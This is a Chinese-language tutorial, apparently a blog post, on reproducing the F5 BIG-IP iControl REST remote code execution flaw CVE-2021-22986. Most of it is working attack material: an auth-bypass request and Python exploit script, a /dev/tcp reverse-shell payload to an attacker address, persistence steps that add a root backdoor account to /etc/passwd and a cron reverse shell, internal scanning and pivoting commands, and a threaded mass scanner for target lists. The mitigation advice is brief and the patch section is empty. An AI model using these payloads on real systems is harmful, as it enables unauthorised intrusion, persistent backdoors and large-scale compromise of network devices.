# 如何復現F5 BIG-IP遠程代碼執行漏洞CVE-2021-22986
## 漏洞概述
CVE-2021-22986是F5 BIG-IP設備中一個高危的遠程代碼執行漏洞,影響BIG-IP的iControl REST組件。該漏洞存在于未認證的HTTP請求處理過程中,攻擊者通過構造特殊請求可在目標系統上執行任意系統命令,CVSS評分達到9.8(Critical)。
### 受影響版本
- BIG-IP 16.x: 16.0.0 - 16.0.1
- BIG-IP 15.x: 15.1.0 - 15.1.2
- BIG-IP 14.x: 14.1.0 - 14.1.3.1
- BIG-IP 13.x: 13.1.0 - 13.1.3.5
- BIG-IP 12.x: 12.1.0 - 12.1.5.2
## 環境準備
### 實驗環境要求
1. **漏洞環境**:
- 安裝受影響版本的F5 BIG-IP虛擬機(可從F5官網下載試用版)
- 推薦使用VMware或VirtualBox運行
2. **測試工具**:
- Kali Linux攻擊機
- Burp Suite Community Edition
- Python 3.x環境
- curl命令工具
3. **網絡配置**:
```bash
# 確保攻擊機與目標網絡互通
ping <BIG-IP_IP>
首先確認目標BIG-IP的iControl REST接口是否開放(默認端口443):
curl -k https://<target_ip>/mgmt/tm/util/bash
正常情況應返回401未授權響應,若返回404則可能不存在漏洞。
通過Burp Suite攔截任意請求,修改為以下格式:
POST /mgmt/tm/util/bash HTTP/1.1
Host: <target_ip>
Authorization: Basic YWRtaW46
X-F5-Auth-Token: arbitrary
Content-Type: application/json
{"command":"run","utilCmdArgs":"-c 'id'"}
關鍵點說明:
- Authorization: Basic YWRtaW46
是空密碼admin的base64編碼
- X-F5-Auth-Token
頭必須存在但值任意
- utilCmdArgs
參數包含要執行的命令
使用Python自動化腳本測試:
import requests
import json
target = "https://<target_ip>/mgmt/tm/util/bash"
headers = {
"Authorization": "Basic YWRtaW46",
"X-F5-Auth-Token": "x",
"Content-Type": "application/json"
}
data = {"command":"run","utilCmdArgs":"-c 'id'"}
response = requests.post(
target,
headers=headers,
json=data,
verify=False
)
print(response.text)
預期輸出應包含當前用戶的UID信息。
在攻擊機啟動監聽:
nc -lvnp 4444
發送反彈Shell命令(需URL編碼):
payload = {
"command": "run",
"utilCmdArgs": "-c 'bash -i >& /dev/tcp/<attack_ip>/4444 0>&1'"
}
該漏洞源于iControl REST組件的認證繞過和命令注入:
1. 認證繞過:當同時存在Authorization
和X-F5-Auth-Token
頭時,認證邏輯存在缺陷
2. 命令注入:utilCmdArgs
參數未正確過濾,允許通過-c
參數執行任意Bash命令
關鍵代碼邏輯(偽代碼):
// 認證檢查邏輯
if (headers.contains("X-F5-Auth-Token") &&
headers.get("Authorization").startsWith("Basic")) {
bypassAuthentication(); // 漏洞點
}
// 命令執行處理
String cmd = request.getParameter("utilCmdArgs");
Runtime.getRuntime().exec("/bin/bash " + cmd); // 注入點
官方補丁:
臨時緩解措施:
# 限制iControl REST接口訪問
tmsh modify /sys httpd allow replace-all-with { 127.0.0.1 }
網絡層防護:
BIG-IP默認以root權限運行服務,漏洞利用后自動獲得最高權限。
# 創建后門賬戶
echo 'backdoor:$1$salt$UqddPX3r4kH3UL5ADq6Bx.:0:0::/root:/bin/bash' >> /etc/passwd
# 添加cron任務
(crontab -l ; echo "* * * * * /bin/bash -c 'exec /bin/bash -i &>/dev/tcp/attacker/5555 <&1'") | crontab -
利用BIG-IP的特殊網絡位置:
# 掃描內網
for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from"; done
# 通過BIG-IP代理流量
curl --proxy http://localhost:8080 http://internal-web/
以下Python腳本可批量檢測漏洞存在:
import requests
from concurrent.futures import ThreadPoolExecutor
def check_vuln(ip):
try:
resp = requests.post(
f"https://{ip}/mgmt/tm/util/bash",
headers={"Authorization": "Basic YWRtaW46", "X-F5-Auth-Token": "x"},
json={"command": "run", "utilCmdArgs": "-c 'echo vulnerable'"},
verify=False,
timeout=5
)
if 'vulnerable' in resp.text:
print(f"[+] {ip} is vulnerable!")
except Exception as e:
pass
with open('targets.txt') as f:
targets = [line.strip() for line in f]
with ThreadPoolExecutor(10) as executor:
executor.map(check_vuln, targets)
”`
注:實際復現時請確保: 1. 獲得目標系統所有者授權 2. 在隔離測試環境操作 3. 遵守當地網絡安全法律法規
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。